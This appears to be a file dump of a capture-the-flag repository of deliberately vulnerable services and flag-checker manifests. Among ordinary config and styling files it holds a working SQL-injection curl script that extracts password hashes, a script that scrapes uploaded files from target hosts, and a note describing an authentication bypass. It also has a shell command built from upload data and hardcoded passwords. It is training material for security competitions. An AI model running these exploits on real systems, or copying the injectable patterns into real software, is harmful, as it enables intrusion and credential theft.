/services/JabbaChat/client/node_modules/underscore/README.md:
--------------------------------------------------------------------------------
1 | __
2 | /\ \ __
3 | __ __ ___ \_\ \ __ _ __ ____ ___ ___ _ __ __ /\_\ ____
4 | /\ \/\ \ /' _ `\ /'_ \ /'__`\/\ __\/ ,__\ / ___\ / __`\/\ __\/'__`\ \/\ \ /',__\
5 | \ \ \_\ \/\ \/\ \/\ \ \ \/\ __/\ \ \//\__, `\/\ \__//\ \ \ \ \ \//\ __/ __ \ \ \/\__, `\
6 | \ \____/\ \_\ \_\ \___,_\ \____\\ \_\\/\____/\ \____\ \____/\ \_\\ \____\/\_\ _\ \ \/\____/
7 | \/___/ \/_/\/_/\/__,_ /\/____/ \/_/ \/___/ \/____/\/___/ \/_/ \/____/\/_//\ \_\ \/___/
8 | \ \____/
9 | \/___/
10 |
11 | Underscore.js is a utility-belt library for JavaScript that provides
12 | support for the usual functional suspects (each, map, reduce, filter...)
13 | without extending any core JavaScript objects.
14 |
15 | For Docs, License, Tests, and pre-packed downloads, see:
16 | http://underscorejs.org
17 |
18 | Underscore is an open-sourced component of DocumentCloud:
19 | https://github.com/documentcloud
20 |
21 | Many thanks to our contributors:
22 | https://github.com/jashkenas/underscore/contributors
23 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "JabbaClient",
3 | "version": "0.0.1",
4 | "description": "Client for checking JabbaChat.",
5 | "main": "index",
6 | "scripts": {
7 | "run": "node check.js http://localhost:7070/http-bind/ admin@komogvind.dk admin",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [
11 | "jabba",
12 | "xmpp",
13 | "component"
14 | ],
15 | "author": "Robert Larsen",
16 | "license": "Commercial",
17 | "dependencies" : {
18 | "node-stringprep" : "",
19 | "node-bosh-xmpp-client" : "",
20 | "underscore" : ""
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/services/JabbaChat/component/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "jid" : "user.ctf.dk",
3 | "server" : "localhost",
4 | "port" : 5275,
5 | "password" : "secret",
6 | "ping_interval" : 15000,
7 | "database" : "openfire"
8 | }
9 |
--------------------------------------------------------------------------------
/services/JabbaChat/component/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | HandlerList : require('./lib/handlerlist'),
3 | IdIterator : require('./lib/iditerator'),
4 | Jid : require('./lib/jid')
5 | };
6 |
--------------------------------------------------------------------------------
/services/JabbaChat/component/lib/iditerator.js:
--------------------------------------------------------------------------------
1 | var IdIterator = function(alphabet) {
2 | this.alphabet = alphabet || 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
3 | this.indices = [];
4 | };
5 |
6 | IdIterator.prototype.reset = function() {
7 | this.indices = [];
8 | };
9 |
10 | IdIterator.prototype.next = function() {
11 | var i, carry = true;
12 | for (i = 0; carry && i < this.indices.length; i++) {
13 | this.indices[i]++;
14 | if (this.indices[i] === this.alphabet.length) {
15 | this.indices[i] = 0;
16 | } else {
17 | carry = false;
18 | }
19 | }
20 | if (carry) {
21 | this.indices.push(0);
22 | }
23 | return this.current();
24 | };
25 |
26 | IdIterator.prototype.current = function() {
27 | var str = new Array(this.indices.length),
28 | i;
29 | for (i = 0; i < str.length; i++) {
30 | str[str.length - i - 1] = this.alphabet[this.indices[i]];
31 | }
32 | return str.join('');
33 | };
34 |
35 | module.exports = IdIterator;
36 |
--------------------------------------------------------------------------------
/services/JabbaChat/component/lib/jid.js:
--------------------------------------------------------------------------------
1 | var GetBare = function(jid) {
2 | return jid.split('/')[0];
3 | };
4 |
5 | var GetServer = function(jid) {
6 | var components = GetDomain(jid).split('.');
7 | return components.slice(components.length - 2).join('.');
8 | };
9 |
10 | var GetNode = function (jid) {
11 | var idx = jid.indexOf('@');
12 | return idx >= 0 ? jid.substring(0, idx) : null;
13 | };
14 |
15 | var GetDomain = function (jid) {
16 | var bare = GetBare(jid),
17 | idx = bare.indexOf('@');
18 | return idx >= 0 ? bare.substring(idx + 1) : bare;
19 | };
20 |
21 | var GetResource = function (jid) {
22 | var idx = jid.indexOf('/');
23 | return idx >= 0 ? jid.substring(idx + 1) : null;
24 | };
25 |
26 | module.exports = {
27 | GetServer : GetServer,
28 | GetBare : GetBare,
29 | GetNode : GetNode,
30 | GetDomain : GetDomain,
31 | GetResource : GetResource
32 | };
33 |
--------------------------------------------------------------------------------
/services/JabbaChat/component/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "JabbaServices",
3 | "version": "0.0.1",
4 | "description": "Services used by JabbaChat.",
5 | "main": "index",
6 | "scripts": {
7 | "run": "node server.js config.json",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [
11 | "jabba",
12 | "xmpp",
13 | "component"
14 | ],
15 | "author": "Robert Larsen",
16 | "license": "Commercial",
17 | "dependencies" : {
18 | "node-stringprep" : "",
19 | "node-xmpp" : "",
20 | "underscore" : "",
21 | "mongojs" : ""
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/services/JabbaChat/create_installer.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | OPENFIRE_FILE=openfire_3_8_2.tar.gz
4 | MONGO_INTERFACE_FILE=jabba-database.jar
5 | MONGO_INTERFACE=dist/${MONGO_INTERFACE_FILE}
6 | MONGO_DRIVER_FILE=mongo-java-driver-2.11.2.jar
7 | MONGO_DRIVER=lib/${MONGO_DRIVER_FILE}
8 | OPENFIRE_URL="http://www.igniterealtime.org/downloadServlet?filename=openfire/${OPENFIRE_FILE}"
9 |
10 | INSTALL_FILE=jabba.tar.gz
11 | INSTALL_SCRIPT=jabba_installer.sh
12 |
13 | JABBA_DOMAIN=ctf.dk
14 |
15 | echo "Building MongoDB interface for Openfire"
16 | ant -q >/dev/null 2>&1
17 |
18 | #Retrieve Openfire
19 | echo "Retrieving Openfire"
20 | test -f ${OPENFIRE_FILE} || wget -q -O ${OPENFIRE_FILE} "${OPENFIRE_URL}"
21 |
22 | echo "Packaging client data"
23 | tar czf ${INSTALL_FILE} --exclude node_modules --transform 's/dist\///' --transform 's/lib\///' ${OPENFIRE_FILE} ${MONGO_INTERFACE} ${MONGO_DRIVER} www component
24 |
25 | size=$(ls -l ${INSTALL_FILE} | awk '{print $5}')
26 | cat >${INSTALL_SCRIPT}<> ${INSTALL_SCRIPT}
38 | rm ${INSTALL_FILE}
39 |
--------------------------------------------------------------------------------
/services/JabbaChat/lib/mongo-java-driver-2.11.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/lib/mongo-java-driver-2.11.2.jar
--------------------------------------------------------------------------------
/services/JabbaChat/lib/openfire.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/lib/openfire.jar
--------------------------------------------------------------------------------
/services/JabbaChat/lib/slf4j-log4j12.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/lib/slf4j-log4j12.jar
--------------------------------------------------------------------------------
/services/JabbaChat/src/MongoloidAdminProvider.java:
--------------------------------------------------------------------------------
1 | import org.jivesoftware.openfire.admin.AdminProvider;
2 | import org.xmpp.packet.JID;
3 | import org.jivesoftware.util.JiveGlobals;
4 | import java.util.List;
5 | import java.util.LinkedList;
6 |
7 | public class MongoloidAdminProvider implements AdminProvider {
8 | public List getAdmins() {
9 | return MongoloidDatabase.getInstance().getAdminProvider().getAdmins();
10 | }
11 |
12 | public void setAdmins(List admins) {
13 | MongoloidDatabase.getInstance().getAdminProvider().setAdmins(admins);
14 | }
15 |
16 | public boolean isReadOnly() {
17 | return MongoloidDatabase.getInstance().getAdminProvider().isReadOnly();
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/jabba.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/jabba.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_flat_0_aaaaaa_40x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_flat_0_aaaaaa_40x100.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_flat_75_ffffff_40x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_flat_75_ffffff_40x100.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_glass_55_fbf9ee_1x400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_glass_55_fbf9ee_1x400.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_glass_65_ffffff_1x400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_glass_65_ffffff_1x400.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_glass_75_dadada_1x400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_glass_75_dadada_1x400.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_glass_75_e6e6e6_1x400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_glass_75_e6e6e6_1x400.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_glass_95_fef1ec_1x400.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_glass_95_fef1ec_1x400.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-bg_highlight-soft_75_cccccc_1x100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-bg_highlight-soft_75_cccccc_1x100.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-icons_222222_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-icons_222222_256x240.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-icons_2e83ff_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-icons_2e83ff_256x240.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-icons_454545_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-icons_454545_256x240.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-icons_888888_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-icons_888888_256x240.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/images/ui-icons_cd0a0a_256x240.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/www/css/images/ui-icons_cd0a0a_256x240.png
--------------------------------------------------------------------------------
/services/JabbaChat/www/css/jabba.css:
--------------------------------------------------------------------------------
1 | .hidden {
2 | display: none;
3 | }
4 |
5 | #chat {
6 | position: absolute;
7 | top: 0px;
8 | left: 0px;
9 | right: 0px;
10 | bottom: 0px;
11 | font-size: 28px;
12 | }
13 | #chat h1 {
14 | font-size: 35px;
15 | }
16 |
17 | #header {
18 | background-image: url('images/jabba.png');
19 | background-position: left;
20 | background-repeat: no-repeat;
21 | position: absolute;
22 | top: 0px;
23 | height: 65px;
24 | left: 0px;
25 | right: 0px;
26 | text-align: center;
27 | }
28 |
29 | #text {
30 | border: 1px solid black;
31 | position: absolute;
32 | top: 65px;
33 | bottom: 40px;
34 | left: 0px;
35 | right: 310px;
36 | padding: 5px;
37 | overflow: auto;
38 | }
39 |
40 | #users {
41 | border: 1px solid black;
42 | position: absolute;
43 | top: 65px;
44 | bottom: 40px;
45 | right: 0px;
46 | width: 300px;
47 | overflow: auto;
48 | padding: 5px;
49 | }
50 |
51 | #input {
52 | position: absolute;
53 | height: 40px;
54 | bottom: 0px;
55 | right: 0px;
56 | left: 0px;
57 | }
58 |
59 | #input input[type="text"] {
60 | position: absolute;
61 | left: 5px;
62 | right: 5px;
63 | bottom: 5px;
64 | }
65 |
66 | .user_event {
67 | color: green;
68 | }
69 |
70 | .chat_event {
71 | }
72 |
73 | .chatter {
74 | display: inline;
75 | font-weight: bold;
76 | }
77 |
78 | .role_moderator {
79 | font-weight: bold;
80 | }
81 |
82 | .role_participator {
83 | }
84 |
85 | .gender_0 {
86 | color: blue;
87 | }
88 |
89 | .gender_1 {
90 | color: red;
91 | }
92 |
--------------------------------------------------------------------------------
/services/LeetPhorum/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "python %SERVICE_DIRECTORY%/check_leet.py --plant http://%HOST%/leet/ %FLAGID% %FLAG%",
4 | "check_flag" : "python %SERVICE_DIRECTORY%/check_leet.py --check http://%HOST%/leet/ %FLAGID% %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/LeetPhorum/idea.txt:
--------------------------------------------------------------------------------
1 | It is possible to make the database authenticate against an external attacker controlled database. This sets a session containing the authenticated user id and type after which the attacker can do anything in the forum.
2 |
--------------------------------------------------------------------------------
/services/LeetPhorum/src/db.sql:
--------------------------------------------------------------------------------
1 | create table users(
2 | `id` int primary key auto_increment,
3 | `name` varchar(32) unique,
4 | `password` varchar(64),
5 | `type` enum('user', 'admin') default 'user'
6 | );
7 |
8 | create table posts(
9 | `id` int primary key auto_increment,
10 | `parent_id` int,
11 | `poster_id` int,
12 | `time` timestamp default CURRENT_TIMESTAMP,
13 | `subject` varchar(128),
14 | `body` text
15 | );
16 |
--------------------------------------------------------------------------------
/services/LeetPhorum/src/js/themes/default/32px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/LeetPhorum/src/js/themes/default/32px.png
--------------------------------------------------------------------------------
/services/LeetPhorum/src/js/themes/default/40px.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/LeetPhorum/src/js/themes/default/40px.png
--------------------------------------------------------------------------------
/services/LeetPhorum/src/js/themes/default/throbber.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/LeetPhorum/src/js/themes/default/throbber.gif
--------------------------------------------------------------------------------
/services/LeetPhorum/src/leet.css:
--------------------------------------------------------------------------------
1 | h1 {
2 | text-align: center;
3 | }
4 |
5 | buttons {
6 | display: none;
7 | }
8 |
9 | post {
10 | display: none;
11 | }
12 |
13 | loginform {
14 | display: none;
15 | }
16 |
17 | newpost {
18 | display: none;
19 | }
20 |
21 | button {
22 | width: 150px;
23 | }
24 |
25 | header {
26 | position: absolute;
27 | left: 0px;
28 | right: 0px;
29 | top: 0px;
30 | height: 100px;
31 | }
32 |
33 | content {
34 | position: absolute;
35 | padding-left: 50px;
36 | left: 0px;
37 | right: 0px;
38 | top: 100px;
39 | bottom: 100px;
40 | }
41 |
42 | footer {
43 | position: absolute;
44 | left: 0px;
45 | right: 0px;
46 | bottom: 0px;
47 | height: 100px;
48 | }
49 |
50 | left {
51 | position: absolute;
52 | left: 0px;
53 | width: 300px;
54 | top: 0px;
55 | bottom: 0px;
56 | padding-left: 10px;
57 | }
58 |
59 | right {
60 | padding-left: 10px;
61 | position: absolute;
62 | left: 300px;
63 | right: 0px;
64 | top: 0px;
65 | bottom: 0px;
66 | }
67 |
68 | post {
69 | font-weight: bold;
70 | }
71 |
72 | line {
73 | display: block;
74 | }
75 |
76 | subject, poster, time {
77 | font-weight: normal;
78 | }
79 |
--------------------------------------------------------------------------------
/services/MathServer/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "python %SERVICE_DIRECTORY%/mathclient.py --plant %HOST% 8787 %FLAGID% %FLAG%",
4 | "check_flag" : "python %SERVICE_DIRECTORY%/mathclient.py --check %HOST% 8787 %FLAGID% %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/MyStatus/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "python %SERVICE_DIRECTORY%/check_mystatus.py -p http://%HOST%/mystatus/ %FLAGID% %FLAG%",
4 | "check_flag" : "python %SERVICE_DIRECTORY%/check_mystatus.py -c http://%HOST%/mystatus/ %FLAGID% %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/Phasebook/Makefile:
--------------------------------------------------------------------------------
1 | Phasebook.tar.gz: Makefile
2 | tar czf $@ --exclude-vcs -C .. Phasebook/src Phasebook/db.sql
3 |
--------------------------------------------------------------------------------
/services/Phasebook/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_phasebook -p %HOST% %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_phasebook -c %HOST% %FLAGID% %FLAG%",
5 | "exploitable" : "%SERVICE_DIRECTORY%/check_phasebook -e %HOST%"
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/services/Phasebook/db.sql:
--------------------------------------------------------------------------------
1 | drop database if exists socnetdb;
2 | create database socnetdb;
3 | connect socnetdb;
4 |
5 | drop table if exists users;
6 | create table `users`(
7 | id int primary key auto_increment,
8 | username varchar(32) unique,
9 | password varchar(64),
10 | gender tinyint
11 | );
12 |
13 | drop table if exists friendships;
14 | create table friendships(
15 | user1 int,
16 | user2 int,
17 | confirmed tinyint default 0,
18 | primary key(user1, user2),
19 | foreign key(user1) references users(id),
20 | foreign key(user2) references users(id)
21 | );
22 |
23 | grant all privileges on socnetdb.* to 'socnet'@'%' identified by 'secret';
24 |
--------------------------------------------------------------------------------
/services/Phasebook/phasebook_usersearch_sqli_sploit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while test -n "${1}"; do
4 | curl -s -d "username=blar' and 1=2 union select password, 1, 1 from users order by id desc limit 10;#" 'http://'${1}'/Phasebook/?p=usersearch' | grep onclick | grep profile | sed 's/>/\n/g' | sed 's/\n/g' | grep -E '^[A-F0-9]{64}$'
5 | shift
6 | done
7 |
8 |
--------------------------------------------------------------------------------
/services/Phasebook/src/config.php:
--------------------------------------------------------------------------------
1 | 'image/png',
11 | 'jpg' => 'image/jpeg'
12 | );
13 | ?>
14 |
--------------------------------------------------------------------------------
/services/Phasebook/src/images/gal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/Phasebook/src/images/gal.png
--------------------------------------------------------------------------------
/services/Phasebook/src/images/guy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/Phasebook/src/images/guy.png
--------------------------------------------------------------------------------
/services/Phasebook/src/pages/create:
--------------------------------------------------------------------------------
1 | Create account
2 |
11 |
--------------------------------------------------------------------------------
/services/Phasebook/src/pages/main:
--------------------------------------------------------------------------------
1 | Welcome
2 |
3 | isLoggedIn()) {
5 | ?>
6 | You are logged in. Now start socializing.
7 |
10 | This is the latest and greatest in social networking, but you get nothing without creating an account so get started!
11 |
12 | getLatestUsers(15);
16 | if (count($users) > 0) {
17 | ?>
18 | New users
19 |
20 |
21 | $i) ? $users[$i] : null);
24 | if (($i % 5) === 0) {
25 | echo '';
26 | }
27 | echo $td->render();
28 | if (($i % 5) === 4) {
29 | echo '
';
30 | }
31 | }
32 | ?>
33 |
34 |
35 |
38 |
--------------------------------------------------------------------------------
/services/Phasebook/src/pages/new_account:
--------------------------------------------------------------------------------
1 | Account creation
2 | createAccount($_POST['username'], $_POST['password'], $_POST['gender'])) {
5 | echo "Successfully created user acount. Now log in.";
6 | } else {
7 | echo "Hmm...your account could not be created. Try another username.";
8 | }
9 | } else {
10 | echo "Some user creation information is missing.";
11 | }
12 | ?>
13 |
--------------------------------------------------------------------------------
/services/Phasebook/src/pages/new_avatar:
--------------------------------------------------------------------------------
1 | Upload new avatar
2 | $m) {
5 | if ($m === $mime) {
6 | return $extension;
7 | }
8 | }
9 | return FALSE;
10 | }
11 |
12 | if ($db->isLoggedIn() && isset($_FILES['avatar'])) {
13 | $cmd = 'file --mime-type --brief ' . $_FILES['avatar']['tmp_name'];
14 | $mime = trim(`$cmd`);
15 | if ($extension = mime_to_extension($CONFIG['image_info'], $mime)) {
16 | $me = $_SESSION['user'];
17 | $new_path = $CONFIG['path']['home'] . '/' . $CONFIG['path']['profileimgs'] . '/' . $me->id . '.' . $extension;
18 | move_uploaded_file($_FILES['avatar']['tmp_name'], $new_path);
19 | }
20 | }
21 | ?>
22 |
26 |
--------------------------------------------------------------------------------
/services/Phasebook/src/pages/profile:
--------------------------------------------------------------------------------
1 | getUserById($_GET['userid']);
3 | if ($u === null) {
4 | ?>
5 | No user by that id
6 |
9 | name; ?>
10 |
11 | render(); ?>
12 |
13 |
16 |
--------------------------------------------------------------------------------
/services/Phasebook/src/pages/usersearch:
--------------------------------------------------------------------------------
1 | Search for
2 |
3 | searchUsers($_POST['username']);
5 | if (count($search_result) === 0) {
6 | ?>
7 | Sorry...no users matched that name.
8 |
11 |
12 | $i) ? $search_result[$i] : null);
15 | if (($i % 5) === 0) {
16 | echo '';
17 | }
18 | echo $td->render();
19 | if (($i % 5) === 4) {
20 | echo '
';
21 | }
22 | }
23 | ?>
24 |
25 |
28 |
29 |
--------------------------------------------------------------------------------
/services/PythonOnPills/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_pills.sh --plant %HOST% 2222 %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_pills.sh --check %HOST% 2222 %FLAG%"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/services/PythonOnPills/www/Morpheus.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/PythonOnPills/www/Morpheus.jpg
--------------------------------------------------------------------------------
/services/PythonOnPills/www/blue.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/PythonOnPills/www/blue.png
--------------------------------------------------------------------------------
/services/PythonOnPills/www/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Red or Blue Pill
8 |
9 |
10 | 
11 |
12 |
13 |
--------------------------------------------------------------------------------
/services/PythonOnPills/www/pills.js:
--------------------------------------------------------------------------------
1 | $(function() {
2 | setTimeout(function() {
3 | var name = prompt("May I have your name please?");
4 | $('.pill').click(function() {
5 | var color = $(this).hasClass('red') ? 0 : 1;
6 | $.ajax({
7 | url : '/take',
8 | type : 'POST',
9 | data : {
10 | name : name,
11 | pill : color
12 | },
13 | success : function() {
14 | $('.pill').remove();
15 | $.ajax({
16 | url : '/distribution',
17 | type : 'GET',
18 | success : function(data) {
19 | var sum = data.red + data.blue,
20 | redPercent = Math.round(data.red / sum * 100),
21 | bluePercent = 100 - redPercent;
22 |
23 | $('body').append(
24 | '' + redPercent + '%
' +
25 | '' + bluePercent + '%
'
26 | );
27 | }
28 | });
29 | }
30 | });
31 | });
32 | }, 500);
33 | });
34 |
--------------------------------------------------------------------------------
/services/PythonOnPills/www/red.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/PythonOnPills/www/red.png
--------------------------------------------------------------------------------
/services/PythonOnPills/www/style.css:
--------------------------------------------------------------------------------
1 | body {
2 | background-color: black;
3 | background-image: url('Morpheus.jpg');
4 | background-repeat: no-repeat;
5 | background-position: top center;
6 | }
7 |
8 | .pill {
9 | position: absolute;
10 | top: 568px;
11 | margin: 5px;
12 | font-size: 50px;
13 | font-weight: bold;
14 | }
15 |
16 | .red {
17 | left: 50%;
18 | color: red;
19 | }
20 |
21 | .blue {
22 | right: 50%;
23 | color: blue;
24 | }
25 |
--------------------------------------------------------------------------------
/services/RabbitShare/Makefile:
--------------------------------------------------------------------------------
1 | RabbitShare.tar.gz:
2 | tar czf $@ --exclude-vcs --transform "s/src/RabbitShare/g" src
3 |
--------------------------------------------------------------------------------
/services/RabbitShare/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_rabbitshare -p %HOST% %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_rabbitshare -c %HOST% %FLAGID% %FLAG%",
5 | "exploitable" : "%SERVICE_DIRECTORY%/check_rabbitshare -e %HOST%"
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/services/RabbitShare/RabbitShare.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/RabbitShare/RabbitShare.tar.gz
--------------------------------------------------------------------------------
/services/RabbitShare/exploit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if test -z "${1}"; then
4 | echo "Usage: ${0} "
5 | exit
6 | fi
7 |
8 | while test -n "${1}"; do
9 | host=$1
10 | for file in $(lynx --source "http://${host}/RabbitShare/upload"|grep 'icons/text.gif'|sed 's/.*>\(.*\)<\/a>.*/\1/g'); do
11 | echo $(lynx --source "http://${host}/RabbitShare/upload/${file}")
12 | done
13 | shift
14 | done
15 |
--------------------------------------------------------------------------------
/services/RabbitShare/src/config.php:
--------------------------------------------------------------------------------
1 | 1024 * 1024,
4 | "upload_directory" => "/var/services/RabbitShare/upload",
5 | "upload_url" => "/upload/"
6 | );
7 | ?>
8 |
--------------------------------------------------------------------------------
/services/RabbitShare/src/rabbitshare_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/RabbitShare/src/rabbitshare_logo.png
--------------------------------------------------------------------------------
/services/SecretService/Makefile:
--------------------------------------------------------------------------------
1 | LDFLAGS=-lpcap -lsqlite3 -ggdb -pthread -D_PARENT_SUPERVISION
2 | CFLAGS=-ggdb
3 |
4 | secretservice: src/*.c
5 | $(CC) -o $@ $(CFLAGS) $(LDFLAGS) $^
6 |
7 | .PHONY: run
8 | run: secretservice
9 | sudo ./secretservice test.db admin secret virbr0
10 |
11 | SecretService.tar.gz:
12 | tar czf $@ --exclude-vcs -C .. SecretService/Makefile SecretService/secretservice-init SecretService/src/database.h SecretService/src/message.h SecretService/src/database.c SecretService/src/message.c SecretService/src/secretservice.c
13 |
--------------------------------------------------------------------------------
/services/SecretService/Manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "commands" : {
3 | "plant_flag" : "%SERVICE_DIRECTORY%/check_secretservice.sh --client %SERVICE_DIRECTORY%/ss_client.rb -p %HOST% %FLAGID% %FLAG%",
4 | "check_flag" : "%SERVICE_DIRECTORY%/check_secretservice.sh --client %SERVICE_DIRECTORY%/ss_client.rb -c %HOST% %FLAGID% %FLAG%",
5 | "exploitable" : "%SERVICE_DIRECTORY%/check_secretservice.sh --client %SERVICE_DIRECTORY%/ss_client.rb -e %HOST%"
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/services/SecretService/secretservice-init:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | SS_EXECUTABLE=secretservice
4 | SS_HOME=/var/services/SecretService
5 | SS_DB=secretservice.sqlite
6 | ADMIN_NAME=admin
7 | ADMIN_PASSWORD=bjksafjr8jf3asbsdk4aa4
8 | DEVICE=eth0
9 |
10 | function start_secretservice(){
11 | ${SS_HOME}/${SS_EXECUTABLE} ${SS_HOME}/${SS_DB} ${ADMIN_NAME} ${ADMIN_PASSWORD} ${DEVICE}
12 | }
13 |
14 | function stop_secretservice(){
15 | killall -9 ${SECRETSERVICE_EXECUTABLE}
16 | }
17 |
